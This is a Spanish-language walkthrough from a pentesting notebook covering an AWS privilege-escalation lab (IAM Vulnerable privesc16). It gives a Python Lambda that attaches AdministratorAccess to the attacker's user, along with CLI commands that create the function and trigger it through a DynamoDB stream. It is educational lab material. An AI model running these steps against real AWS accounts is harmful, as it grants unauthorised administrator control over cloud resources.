> For the complete documentation index, see [llms.txt](https://pruiz.gitbook.io/myphp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pruiz.gitbook.io/myphp/aws-pentesting/lambda/privesc-paths/passroletonewlambdathentrigger.md).

# PassRoleToNewLambdaThenTrigger

## Laboratorio

En este apartado se observará el ejemplo utilizando el laboratorio IAM vulnerable con el escenario privesc16. En este caso de explotación, el usuario de pruebas no tiene los permisos de invocar funciones lamba, solo mapear triggers a otro evento, en este caso a DynamoDB, por lo cual requiere que otro usuario actualice o que la base de datos se actualice para que funciones este caso de explotación.

{% embed url="<https://bishopfox.com/blog/privilege-escalation-in-aws>" %}
Lab: IAM - Vulnerable | Escenario: privesc16
{% endembed %}

Un atacante con los permisos <mark style="color:green;">**iam:PassRole**</mark> , <mark style="color:green;">**lambda:CreateFunction**</mark> y <mark style="color:green;">**lambda:CreateEventSourceMapping**</mark> (y posiblemente dynamodb:PutItem y dynamodb:CreateTable), pero ~~sin el permiso *lambda:InvokeFunction*~~, puede escalar privilegios creando una nueva función de Lambda y conectándola a una tabla de DynamoDB. Posteriormente, cuando se inserta una nueva fila en la tabla, la función Lambda ejecuta un código que aumenta los privilegios del usuario.

### Configuración Inicial

Usuario del laboratorio: privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user con las políticas:

<figure><img src="/files/vvijTfydST6n0kOZ6JZE" alt=""><figcaption></figcaption></figure>

La cuenta de AWS debe contener un rol existente que incluya los permisos:

* iam:AttachUserPolicy
* dynamodb:GetRecords
* dynamodb:GetShardIterator
* dynamodb:DescribeStream
* dynamodb:ListStreams

y las funciones de Lambda deben tener permitido asumir este rol.

La cuenta de AWS también necesita tener una tabla DynamoDB habilitada para transmisión.

Alternativamente, si no existe una tabla DynamoDB, este método de escalada de privilegios aún puede funcionar si el atacante tiene el permiso dynamodb:CreateTable.

Posterior mente generar llaves e acceso desde cuenta administrador para interactuar con el usuario en AWS CLI y configurar un perfil para el usuario privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user

{% hint style="info" %}
Al momento de configurar el perfil, se tiene que tomar en cuenta la región, que sea la misma donde se encuentra la Base Dynamodb,
{% endhint %}

### Explotación

En este escenario, se tiene que aprovechar del privilegio de <mark style="color:green;">lambda:CreateFunction</mark> para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

La función lambda en Python es la siguiente:

{% code title="code.py" overflow="wrap" %}

```python
import boto3
def lambda_handler(event, context):
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName='privesc16- PassRoleToNewLambdaThenTriggerWithNewDynamo-user',
	PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response
```

{% endcode %}

Para subir el archivo con el permiso <mark style="color:green;">**lambda:Createfunction**</mark> es necesario comprimir el archivo en formato zip con el nombre <mark style="color:green;">**function.zip**</mark>, después ejecutar el siguiente comando:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/privesc-high-role-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-1 --profile privesc16
</strong></code></pre>

<figure><img src="/files/LZQPVWTsrdm91mq1AyvV" alt=""><figcaption></figcaption></figure>

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de <mark style="color:green;">lambda:CreateEventSourceMapping</mark> para vincular nuestra función a cualquier evento que ocurra sobre una DynamoDB. En otras palabras, es necesario que en el ambiente que estemos auditando exista una tabla de DynamoDB.

<pre data-overflow="wrap"><code><strong>aws lambda create-event-source-mapping --function-name privesc --event-source-arn arn:aws:dynamodb:us-east-1:037572360634:table/Vulnerable/stream/2022-0608T00:18:02.839 --enabled --starting-position LATEST --region us-east-1 --profile privesc16
</strong></code></pre>

Dado que el usuario actual no tiene ningún permiso de DynamoDB, no es posible cargar una nueva fila y desencadenar el exploit. En su lugar, el atacante debe esperar a que otro usuario o un servicio actualice la tabla.

#### Uso de usuario alterno

Cuando otro usuario cambie, actualice o elimine datos de la base de DynamoDB, se ejecutará el trigger del lambda, a continuación se ejecutara un comando que actualiza la tabla simulando ser otro usuario AWS

```
aws dynamodb put-item --table-name privesc16 --item ‘{“test”:{“S”:”whatever”}}’
--region us-west-2
```

La acción en la tabla de DynamoDB hizo que se ejecutara la función Lambda vinculada, lo que aumentó los permisos del atacante: este método de escalada de privilegios es más fácil si el atacante también tiene los permisos <mark style="color:green;">dynamodb:CreateTable</mark> y <mark style="color:green;">dynamodb:PutItem</mark>, porque entonces el atacante puede crear una tabla de DynamoDB adecuada y cargar un elemento para activar el exploit.

<figure><img src="/files/p8tP2fZJqf2KxYd9gOhW" alt=""><figcaption><p>Elevación de privilegios exitosa</p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pruiz.gitbook.io/myphp/aws-pentesting/lambda/privesc-paths/passroletonewlambdathentrigger.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
